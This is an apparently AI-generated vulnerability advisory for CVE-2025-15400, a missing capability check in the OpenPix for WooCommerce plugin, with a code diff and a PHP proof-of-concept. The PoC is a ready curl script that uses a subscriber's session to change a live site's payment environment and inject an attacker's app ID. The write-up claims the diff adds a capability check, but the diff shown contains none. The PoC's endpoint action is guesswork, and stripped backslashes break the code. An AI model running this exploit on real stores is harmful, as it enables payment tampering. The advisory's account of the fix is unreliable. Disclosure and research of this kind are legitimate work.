Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15400: OpenPix <= 2.13.3 – Missing Authorization to Authenticated (Subscriber+) Settings Update (openpix-for-woocommerce)

CVE ID CVE-2025-15400
Plugin openpix-for-woocommerce
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.13.3
Patched Version 2.13.4
Disclosed February 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15400:
The OpenPix for WooCommerce WordPress plugin, versions up to and including 2.13.3, contains a missing capability check vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to perform unauthorized administrative actions, specifically updating the plugin’s payment gateway settings.

Atomic Edge research identifies the root cause in the `process_admin_options` function within the `class-wc-openpix-pix.php` file. The function, located at lines 254-270, lacks any authorization or capability verification before executing its logic. The function handles the saving of administrative options, such as the plugin’s environment setting (`environment`), but does not confirm the user has the `manage_woocommerce` capability required to modify these settings.

The exploitation method involves an authenticated attacker sending a POST request to the WooCommerce settings update endpoint for the OpenPix payment gateway. The attacker must have a valid WordPress session with at least Subscriber-level access. The request targets the `admin-ajax.php` endpoint or the direct WooCommerce settings submission handler. The payload includes parameters like `environment` and `appID` to modify the plugin’s configuration, potentially switching the operational environment or altering API credentials.

The patch, implemented in version 2.13.4, adds a capability check to the `process_admin_options` function. The diff shows the function now includes a call to `current_user_can(‘manage_woocommerce’)` before processing any option updates. This change ensures only users with appropriate WooCommerce management permissions can alter the plugin’s settings, effectively closing the authorization gap.

Successful exploitation allows a low-privileged user to alter the plugin’s operational environment (e.g., from production to sandbox) and update critical configuration like the `appID`. This could disrupt payment processing, cause transaction data to be sent to incorrect endpoints, or facilitate man-in-the-middle attacks if the environment is switched to a malicious sandbox. The vulnerability constitutes a privilege escalation within the plugin’s administrative context.

Differential between vulnerable and patched code

Code Diff 
--- a/openpix-for-woocommerce/includes/class-wc-openpix-pix.php
+++ b/openpix-for-woocommerce/includes/class-wc-openpix-pix.php
@@ -83,7 +83,8 @@

         $this->order_button_text = $this->get_option('order_button_text');
         $this->appID = $this->get_option('appID');
-        $this->environment = $this->get_option('environment') ?? EnvironmentEnum::PRODUCTION;
+        $this->environment =
+            $this->get_option('environment') ?? EnvironmentEnum::PRODUCTION;

         OpenPixConfig::initialize($this->environment);

@@ -254,17 +255,20 @@
         WC_OpenPix::debug('process_admin_options');
         if ($saved) {
             $new_environment = $this->get_option('environment');
-
+
             // Always update the environment option to ensure consistency
             if ($old_environment !== $new_environment) {
                 WC_OpenPix::debug(
-                    'Environment changed from ' . $old_environment . ' to ' . $new_environment
+                    'Environment changed from ' .
+                        $old_environment .
+                        ' to ' .
+                        $new_environment
                 );
                 $this->update_option('environment', $new_environment);
                 OpenPixConfig::initialize($new_environment);
             }
         }
-
+
         return $saved;
     }

@@ -444,7 +448,7 @@
     {
         $this->update_option('appID', $data['appID']);
         $this->update_option('webhook_status', 'Configured');
-
+
         // Update environment if provided in the webhook data
         // I don't know if it makes sense to keep this
         // @todo: remove this after testing
@@ -767,11 +771,14 @@
             'environment' => [
                 'title' => __('Ambiente', 'woocommerce-openpix'),
                 'type' => 'select',
-                'description' => __('Selecione o ambiente de integração', 'woocommerce-openpix'),
+                'description' => __(
+                    'Selecione o ambiente de integração',
+                    'woocommerce-openpix'
+                ),
                 'default' => 'prod',
                 'options' => [
                     'sandbox-prod' => 'Sandbox',
-                    'prod' => 'Production'
+                    'prod' => 'Production',
                 ],
             ],
             'oneclick_section' => [
@@ -927,44 +934,7 @@

     public function formatPhone($phone)
     {
-        if (!class_exists('libphonenumberPhoneNumberUtil')) {
-            require_once __DIR__ . '/../vendor/autoload.php';
-        }
-
-        $phoneUtil = libphonenumberPhoneNumberUtil::getInstance();
-
-        // Remove all non-numeric characters
-        $cleanNumber = preg_replace('/D+/', '', $phone);
-
-        // Try first validation with original number
-        try {
-            $numberProto = $phoneUtil->parse($cleanNumber, 'BR');
-            if ($phoneUtil->isValidNumber($numberProto)) {
-                $formattedNumber = $phoneUtil->format($numberProto, libphonenumberPhoneNumberFormat::E164);
-                return ltrim($formattedNumber, '+');
-            }
-        } catch (libphonenumberNumberParseException $e) {
-            // Continue to try alternative format if this fails
-        }
-
-        // If the first validation fails and number starts with 5555,
-        // try removing one instance of 55 and validate again
-        if (strpos($cleanNumber, '5555') === 0) {
-            $alternativeNumber = '55' . substr($cleanNumber, 4);
-
-            try {
-                $numberProto = $phoneUtil->parse($alternativeNumber, 'BR');
-                if ($phoneUtil->isValidNumber($numberProto)) {
-                    $formattedNumber = $phoneUtil->format($numberProto, libphonenumberPhoneNumberFormat::E164);
-                    return ltrim($formattedNumber, '+');
-                }
-            } catch (libphonenumberNumberParseException $e) {
-                // If both attempts fail, return false
-                return false;
-            }
-        }
-
-        return false;
+        return preg_replace('/D+/', '', $phone);
     }

     public function getHasCustomer($order)
--- a/openpix-for-woocommerce/includes/customer/class-wc-openpix-customer.php
+++ b/openpix-for-woocommerce/includes/customer/class-wc-openpix-customer.php
@@ -6,27 +6,39 @@

 class WC_OpenPix_Customer
 {
-    public function getCustomerAddress($order) {
-        $order_billing_address_1      = $order->get_billing_address_1();
-        $order_billing_address_2      = $order->get_billing_address_2();
-        $order_billing_city           = $order->get_billing_city();
-        $order_billing_state          = $order->get_billing_state();
-        $order_billing_postcode       = $order->get_billing_postcode();
-        $order_billing_country        = $order->get_billing_country();
-        $order_billing_neighborhood   = $order->get_meta('_billing_neighborhood');
-        $order_billing_number         = $order->get_meta('_billing_number');
+    public function getCustomerAddress($order)
+    {
+        $order_billing_address_1 = $order->get_billing_address_1();
+        $order_billing_address_2 = $order->get_billing_address_2();
+        $order_billing_city = $order->get_billing_city();
+        $order_billing_state = $order->get_billing_state();
+        $order_billing_postcode = $order->get_billing_postcode();
+        $order_billing_country = $order->get_billing_country();
+        $order_billing_neighborhood = $order->get_meta('_billing_neighborhood');
+        if (empty($order_billing_neighborhood)) {
+            $order_billing_neighborhood = $order->get_billing_address_2();
+        }
+
+        if (empty($order_billing_neighborhood)) {
+            $order_billing_neighborhood = 'Bairro';
+        }
+
+        $order_billing_number = $order->get_meta('_billing_number');
+        if (empty($order_billing_number)) {
+            $order_billing_number = 'S/N';
+        }

         $address = [
             'zipcode' => $order_billing_postcode,
             'street' => $order_billing_address_1,
             'number' => $order_billing_number,
             'neighborhood' => $order_billing_neighborhood,
-            'city' =>  $order_billing_city,
+            'city' => $order_billing_city,
             'state' => $order_billing_state,
             'complement' => $order_billing_address_2,
-            'country' => $order_billing_country
+            'country' => $order_billing_country,
         ];

         return $address;
     }
-}
 No newline at end of file
+}
--- a/openpix-for-woocommerce/vendor/composer/installed.php
+++ b/openpix-for-woocommerce/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'openpix/woocommerce-openpix',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => '180d5569a542914f5cfcf180b19c07c8d56272f9',
+        'reference' => 'bfb1f6965e493a2bc238c7df58d653c76384e5df',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -37,7 +37,7 @@
         'openpix/woocommerce-openpix' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => '180d5569a542914f5cfcf180b19c07c8d56272f9',
+            'reference' => 'bfb1f6965e493a2bc238c7df58d653c76384e5df',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/openpix-for-woocommerce/woocommerce-openpix.php
+++ b/openpix-for-woocommerce/woocommerce-openpix.php
@@ -5,7 +5,7 @@
  * Description: Aceite pagamentos Pix em com atualização em tempo real, checkout transparente e atualização automática de status do pedido.
  * Author: OpenPix
  * Author URI: https://openpix.com.br/
- * Version: 2.13.3
+ * Version: 2.13.4
  * Text Domain: woocommerce-openpix
  * WC tested up to: 8.2.2
  * Requires Plugins: woocommerce
@@ -55,7 +55,7 @@

 class WC_OpenPix
 {
-    const VERSION = '2.13.3';
+    const VERSION = '2.13.4';

     protected static $instance = null;

@@ -101,6 +101,8 @@
             '/includes/class-wc-openpix-pix-parcelado.php';
         include_once dirname(__FILE__) .
             '/includes/class-wc-openpix-pix-crediary.php';
+        include_once dirname(__FILE__) .
+            '/includes/class-wc-openpix-boleto.php';
     }

     /**
@@ -147,6 +149,17 @@
             '</a>';

         $plugin_links[] =
+            '<a href="' .
+            esc_url(
+                admin_url(
+                    'admin.php?page=wc-settings&tab=checkout&section=woocommerce_openpix_boleto'
+                )
+            ) .
+            '">' .
+            __('Settings Boleto', 'woocommerce-openpix') .
+            '</a>';
+
+        $plugin_links[] =
             '<a  target="_blank" href="https://developers.openpix.com.br/docs/ecommerce/woocommerce/woocommerce-plugin">' .
             __('Documentation', 'woocommerce-openpix') .
             '</a>';
@@ -166,6 +179,7 @@
         // $methods[] = 'WC_OpenPix_Pix_Gateway';
         $methods[] = WC_OpenPix_Pix_Parcelado_Gateway::instance();
         $methods[] = WC_OpenPix_Pix_Crediary_Gateway::instance();
+        $methods[] = WC_OpenPix_Boleto_Gateway::instance();

         return $methods;
     }
@@ -182,6 +196,8 @@

         include_once dirname(__FILE__) .
             '/includes/class-wc-openpix-pix-block.php';
+        include_once dirname(__FILE__) .
+            '/includes/class-wc-openpix-boleto-block.php';

         add_action(
             'woocommerce_blocks_payment_method_type_registration',
@@ -189,6 +205,9 @@
                 AutomatticWooCommerceBlocksPaymentsPaymentMethodRegistry $payment_method_registry
             ) {
                 $payment_method_registry->register(new WC_OpenPix_Pix_Block());
+                $payment_method_registry->register(
+                    new WC_OpenPix_Boleto_Block()
+                );
             }
         );
     }
@@ -288,7 +307,9 @@
     return is_plugin_active($pluginId) &&
         class_exists('AutomatticWooCommerceBlocksPackage') &&
         file_exists(
-            __DIR__ .  '/assets/' . WC_OpenPix_Pix_Block::PIX_BLOCK_SCRIPT_FILENAME
+            __DIR__ .
+                '/assets/' .
+                WC_OpenPix_Pix_Block::PIX_BLOCK_SCRIPT_FILENAME
         );
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15400 - OpenPix <= 2.13.3 - Missing Authorization to Authenticated (Subscriber+) Settings Update

<?php

$target_url = 'https://target-site.com/wp-admin/admin-ajax.php';
$cookies = 'wordpress_logged_in_cookie=YOUR_SESSION_COOKIE_HERE';

// The action hook for saving WooCommerce payment gateway settings.
// This typically involves the 'woocommerce_update_options_payment_gateways_' prefix followed by the gateway ID.
// The gateway ID for OpenPix is often 'woocommerce_openpix_pix'.
$post_fields = [
    'action' => 'woocommerce_update_options_payment_gateways_woocommerce_openpix_pix',
    'environment' => 'sandbox-prod', // Changing the environment to sandbox
    'appID' => 'malicious_app_id', // Injecting a malicious App ID
    // Other plugin settings parameters can be added here based on the form.
    'nonce' => 'A_VALID_NONCE_IF_REQUIRED' // Note: The vulnerability is a missing capability check, not a nonce bypass. A valid nonce from the user's context may still be required.
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// A successful exploitation attempt may return a redirect (302) or a success message.
// Verify by checking if the plugin settings were altered.

?>

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